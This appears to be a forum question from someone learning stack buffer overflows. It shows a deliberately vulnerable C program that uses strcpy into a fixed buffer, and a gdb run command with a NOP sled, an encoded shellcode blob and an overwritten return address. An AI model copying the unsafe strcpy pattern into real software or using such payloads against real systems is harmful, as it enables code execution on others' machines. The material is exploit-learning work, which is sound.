I'm trying to pass shellcode as the command-line argument in a C program. But gdb keeps giving me SyntaxError. What am I doing wrong?
Below are the contents of the C program and the shellcode:
vulnerable.c
#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[1000]; strcpy(buffer, input); } int main(int arc, char** argv) { evilfunction(argv[1]); return 0; }
The command I'm running on gdb is:
run $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”')